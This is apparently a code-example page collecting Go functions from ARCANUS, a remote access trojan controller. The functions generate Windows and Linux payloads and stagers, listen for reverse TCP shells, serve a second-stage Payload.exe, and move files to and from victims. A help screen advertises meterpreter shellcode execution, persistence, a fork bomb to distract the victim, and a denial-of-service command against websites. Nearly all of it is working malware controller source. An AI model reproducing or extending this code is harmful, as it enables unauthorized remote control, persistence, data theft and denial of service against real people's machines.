예제 #1
0
func PAYLOAD_MENU() {
	color.Yellow("\n\n[1] Windows payload")
	color.Yellow("[2] Linux payload")
	color.Yellow("[3] Stager windows payload")
	color.Yellow("[4] Stager linux payload")
	fmt.Print("\n\n>>")
}
예제 #2
0
func DOWNLOAD_VIA_TCP() {
	file_name := strings.Split(GLOBAL__Command, "\"")
	color.Yellow("\n\n[*] Downloading " + string(file_name[1]))
	ln, _ := net.Listen("tcp", ":55888")
	connect, _ := ln.Accept()
	file, _ := os.Create(file_name[1])
	defer file.Close()
	io.Copy(file, connect)
	file.Close()
	connect.Close()
	color.Green("\n[+] File download completed !")
	fmt.Print("\n")
	fmt.Print("\n")
	fmt.Print(string(SysGuide[0]) + ">")
}
예제 #3
0
func MAIN_MENU() {

	color.Yellow("\n [1] START LISTENING")
	color.Yellow("\n [2] GENERATE WINDOWS PAYLOAD                   (4.5 Mb)")
	color.Yellow("\n [3] GENERATE LINUX PAYLOAD                     (3.6 Mb)")
	color.Yellow("\n [4] GENERATE STAGER WINDOWS PAYLOAD            (2.0 Mb)")
	color.Yellow("\n [5] GENERATE STAGER LINUX PAYLOAD              (2.0 Mb)")
	color.Yellow("\n [6] UPDATE")
	fmt.Print("\n\n>>")
}
예제 #4
0
func HELP_SCREEN_WIN() {

	color.Yellow("#=============================================================================#") //
	color.Yellow("|                                                                             |")
	color.Yellow("|   [ COMMAND ]                                               [DESCRIPTION]   |")
	color.Yellow("|  ==============                                            ================ |")
	color.Yellow("|                                                                             |")
	color.Yellow("|  £METERPRETER -C \"powershell shellcode\":     This command executes given    |")
	color.Yellow("|                                                   powershell shellcode for  |")
	color.Yellow("|                                                   metasploit integration.   |")
	color.Yellow("|                                                                             |")
	color.Yellow("| £PERSISTENCE:               This command installs a persistence module to   |")
	color.Yellow("|                                       remote computer for continious acces. |")
	color.Yellow("|                                                                             |")
	color.Yellow("| £UPLOAD -F \"filename.exe\":        This command uploads a choosen file to    |")
	color.Yellow("|                                      remote computer via tcp socket stream. |")
	color.Yellow("|                                                                             |")
	color.Yellow("| £UPLOAD -G:                   This command uploads a choosen file to remote |")
	color.Yellow("|                                             computer via http get method.   |")
	color.Yellow("|                                                                             |")
	color.Yellow("| £DOWNLOAD -F \"filename.exe\":  This command download a choosen file from     |")
	color.Yellow("|                                      remote computer via tcp socket stream. |")
	color.Yellow("|                                                                             |")
	color.Yellow("| £DISTRACT:                    This command executes a fork bomb bat file to |")
	color.Yellow("|                                                distrackt the remote user.   |")
	color.Yellow("|                                                                             |")
	color.Yellow("| £DOS -A \"www.site.com\":    This command starts a denial of service atack    |")
	color.Yellow("|                                                      given website address. |")
	color.Yellow("|                                                                             |")
	color.Yellow("| £PLEASE \"any command\":           This command asks users comfirmation for   |")
	color.Yellow("|                                              higher privilidge operations.  |")
	color.Yellow("|                                                                             |")
	color.Yellow("| £DESKTOP                        This command adjusts remote desktop options |")
	color.Yellow("|                                    for remote connection on target machine  |")
	color.Yellow("|                                                                             |")
	color.Yellow("#=============================================================================#")
}
예제 #5
0
func main() {

	CLEAR_SCREEN()
	BANNER()
	MAIN_MENU()
	fmt.Scan(&Menu_Selector) // Main Menu

	for {
		if Menu_Selector == 1 {
			CLEAR_SCREEN()
			BANNER()
			PAYLOAD_MENU()
			fmt.Scan(&Menu_Selector) // Payload Menu
			if Menu_Selector == 1 {
				Payload.Type = "Windows"
			} else if Menu_Selector == 2 {
				Payload.Type = "Linux"
			} else if Menu_Selector == 3 {
				Payload.Type = "Stager_Windows"
			} else if Menu_Selector == 4 {
				Payload.Type = "Stager_Linux"
			}
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Listen_Port)
			if Payload.Type == "Stager_Windows" {
				GENERATE_WINDOWS_PAYLOAD()
			} else if Payload.Type == "Stager_Linux" {
				GENERATE_LINUX_PAYLOAD()
			}
			CLEAR_SCREEN()
			BANNER()
			color.Yellow("\n[*] Port:" + string(Listen_Port))
			break
		} else if Menu_Selector == 2 {
			Payload.Type = "Windows"
			CLEAR_SCREEN()
			BANNER()
			fmt.Print("\nEnter Listening Ip: ")
			fmt.Scan(&Payload.Ip)
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Payload.Port)
			Listen_Port = Payload.Port
			GENERATE_WINDOWS_PAYLOAD()
			CLEAR_SCREEN()
			BANNER()
			if runtime.GOOS == "windows" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] Payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			} else if runtime.GOOS == "linux" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] Payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			}
			break
		} else if Menu_Selector == 3 {
			Payload.Type = "Linux"
			CLEAR_SCREEN()
			BANNER()
			fmt.Print("\nEnter Listening Ip: ")
			fmt.Scan(&Payload.Ip)
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Payload.Port)
			Listen_Port = Payload.Port
			GENERATE_LINUX_PAYLOAD()
			CLEAR_SCREEN()
			BANNER()
			if runtime.GOOS == "windows" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] Payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			} else if runtime.GOOS == "linux" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] Payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			}
			break
		} else if Menu_Selector == 4 {
			Payload.Type = "Stager_Windows"
			CLEAR_SCREEN()
			BANNER()
			fmt.Print("\nEnter Listening Ip: ")
			fmt.Scan(&Payload.Ip)
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Payload.Port)
			Listen_Port = Payload.Port
			GENERATE_WINDOWS_STAGER_PAYLOAD()
			CLEAR_SCREEN()
			BANNER()
			if runtime.GOOS == "windows" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] First stage payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			} else if runtime.GOOS == "linux" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] First stage payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			}
			break
		} else if Menu_Selector == 5 {
			Payload.Type = "Stager_Linux"
			CLEAR_SCREEN()
			BANNER()
			fmt.Print("\nEnter Listening Ip: ")
			fmt.Scan(&Payload.Ip)
			fmt.Print("\nEnter Listening Port: ")
			fmt.Scan(&Payload.Port)
			Listen_Port = Payload.Port
			GENERATE_LINUX_STAGER_PAYLOAD()
			CLEAR_SCREEN()
			BANNER()
			if runtime.GOOS == "windows" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] First stage payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			} else if runtime.GOOS == "linux" {
				dir, _ := filepath.Abs(filepath.Dir(os.Args[0]))
				color.Green("\n[+] First stage payload generated at " + string(dir))
				color.Yellow("\n[*] Port:" + string(Listen_Port))
			}
			break
		} else if Menu_Selector == 6 {
			response, err := http.Get("https://raw.githubusercontent.com/EgeBalci/ARCANUS/master/SOURCE/ARCANUS.go")
			if err != nil {
				color.Red("\n[!] Update Connection Failed !")
				fmt.Println(err)
			}
			defer response.Body.Close()
			body, _ := ioutil.ReadAll(response.Body)
			if strings.Contains(string(body), string(VERSION)) {
				color.Green("\n[+] Arcanus Version Up To Date !")
				time.Sleep(2 * time.Second)
				main()
			} else {
				color.Blue("\n[*] New Version Detected !")
				var Choice string = "N"
				color.Blue("\n[?] Do You Want To Update ? (Y/N) : ")
				fmt.Print("\n\n>>")
				fmt.Scan(&Choice)
				if Choice == "Y" || Choice == "y" {
					if runtime.GOOS == "windows" {
						color.Yellow("\n[*] Updating ARCANUS...")
						exec.Command("cmd", "/C", "Update.exe").Start()
						os.Exit(1)
					} else if runtime.GOOS == "linux" {
						color.Yellow("\n[*] Updating ARCANUS...")
						Update, _ := os.Create("Update.sh")

						Update.WriteString("chmod 777 Update\n./Update")
						Update.Close()
						exec.Command("sh", "-c", "chmod 777 Update && ./Update.sh").Run()
						exec.Command("sh", "-c", "./Update.sh").Run()
						exec.Command("sh", "-c", "rm Update.sh").Run()
						os.Exit(1)
					}
				} else if Choice == "N" || Choice == "n" {
					main()
				} else {
					color.Blue("\n[?] Do You Want To Update ? (Y/N) : ")
					fmt.Scan(&Choice)
					fmt.Print("\n\n>>")
				}
			}
		} else {
			main()
		}
	}

	if Payload.Type == "Stager_Windows" || Payload.Type == "Stager_Linux" {
		color.Yellow("\n[*] Listening For Reverse TCP Stager Shell...")
		ln, _ := net.Listen("tcp", ":"+Listen_Port)
		connect, _ := ln.Accept()
		color.Green("[+] Connection Established !")
		file, err := os.Open("Payload.exe")
		if err != nil {
			color.Red("\n[-] Eror while accesing Payload.exe !")
			color.Red("\n[*] Put second stage payload on same directory with ARCANUS and rename it \"Payload.exe\" ")
		}
		color.Yellow("[*] Sending Second Stage Payload...")
		io.Copy(connect, file)
		color.Green("[+] Payload transfer completed !")
		color.Yellow("[*] Executeing Second Stage Payload...")
		runtime.GC()
	}

	color.Yellow("\n[*] Listening For Reverse TCP Shell...")
	ln, _ := net.Listen("tcp", ":"+Listen_Port)
	connect, err := ln.Accept()
	if err != nil {
		fmt.Println(err)
	}
	reader := bufio.NewReader(os.Stdin)
	var SysInfo = make([]byte, BUFFER_SIZE)
	fmt.Print("\x07") // Connection Launched !
	color.Green("\n[+] Connection Established !\n")
	connect.Read([]byte(SysInfo))
	SysGuide = strings.Split(string(SysInfo), "£>")
	color.Green("\n[+] Remote Address -> ", connect.RemoteAddr())

	color.Green(string(("\n\n[+] OS Version Captured" + SysGuide[1])))

	if Payload.Type == "Linux" || Payload.Type == "Stager_Linux" {
		for {
			runtime.GC()
			fmt.Print("\n")
			fmt.Print("\n")
			fmt.Print(string(SysGuide[0]) + ">")
			Command, _ := reader.ReadString('\n')
			_Command := string(Command)
			GLOBAL__Command = _Command
			runtime.GC()
			var cmd_out []byte
			connect.Write([]byte(Command))
			go connect.Read([]byte(cmd_out))
			fmt.Println(string(cmd_out))
		}
	}

	for {

		var cmd_out = make([]byte, BUFFER_SIZE)
		runtime.GC()
		fmt.Print("\n")
		fmt.Print("\n")
		fmt.Print(string(SysGuide[0]) + ">")
		Command, _ := reader.ReadString('\n')
		_Command := string(Command)
		GLOBAL__Command = _Command

		if strings.Contains(_Command, "£METERPRETER") || strings.Contains(_Command, "£meterpreter") {
			color.Green("\n[*] Meterpreter Code Send !")
			connect.Write([]byte(Command))
		} else if strings.Contains(_Command, "£desktop") || strings.Contains(_Command, "£DESKTOP") {
			if Payload.Type == "Windows" || Payload.Type == "Stager_Windows" {
				connect.Write([]byte(Command))
				connect.Read([]byte(cmd_out))
				Command_Output := strings.Split(string(cmd_out), "£>")
				if strings.Contains(string(Command_Output[0]), "failed") {
					color.Red("\n[-] Remote desktop connection failed ! (Acces denied, The requested operation requires Administration elavation.) ")
				} else {
					color.Green("\n[+] Remote desktop connection configurations succesfull !.")
					color.Green("\n >>> Remote Address >>> ", connect.RemoteAddr())
					if runtime.GOOS == "windows" {
						exec.Command("cmd", "/C", "mstsc").Run()
					}
				}
			} else {
				color.Red("\n[-] This payload type does not support \"REMOTE DESKTOP\" module !")
			}
		} else if strings.Contains(_Command, "£persistence") || strings.Contains(_Command, "£PERSISTENCE") {
			connect.Write([]byte(GLOBAL__Command))
		} else if strings.Contains(_Command, "£help") || strings.Contains(_Command, "£HELP") {
			if runtime.GOOS == "windows" {
				HELP_SCREEN_WIN()
			} else if runtime.GOOS == "linux" {
				HELP_SCREEN_LINUX()
			}
		} else if strings.Contains(_Command, "£upload -f") || strings.Contains(_Command, "£UPLOAD -F") {
			connect.Write([]byte(_Command))
			file_name := strings.Split(GLOBAL__Command, "\"")
			color.Yellow("\n[*] Uploading ---> " + file_name[1])
			go UPLOAD_VIA_TCP()
		} else if strings.Contains(_Command, "£download") || strings.Contains(_Command, "£DOWNLOAD") {
			connect.Write([]byte(Command))
			go DOWNLOAD_VIA_TCP()
		} else if strings.Contains(_Command, "£DISTRACT") || strings.Contains(_Command, "£distract") {
			connect.Write([]byte(Command))
			color.Yellow("\n[*] Preparing fork bomb...")
			color.Green("\n[+] Distraction Started !")
		} else if strings.Contains(_Command, "£DOS") || strings.Contains(_Command, "£dos") {
			DOS_Target := strings.Split(GLOBAL__Command, "\"")
			if strings.Contains(DOS_Target[1], "http//") || strings.Contains(DOS_Target[1], "https//") {
				connect.Write([]byte(Command))
				color.Yellow("\n[*] Starting DOS Atack to --> " + DOS_Target[1])
				color.Green("\n[+] DOS Atack Started !")
				color.Green("\n[+] Sending 1000 GET request to target...")
			} else {
				color.Red("\n[-] ERROR: Invalid URL type !")
			}
		} else {
			connect.Write([]byte(Command))
			for {
				connect.Read([]byte(cmd_out))
				if !strings.Contains(string(cmd_out), "£>") {
					fmt.Println(string(cmd_out))
				} else {
					Command_Output := strings.Split(string(cmd_out), "£>")
					fmt.Println(string(Command_Output[0]))
					break
				}
			}
		}
	}
}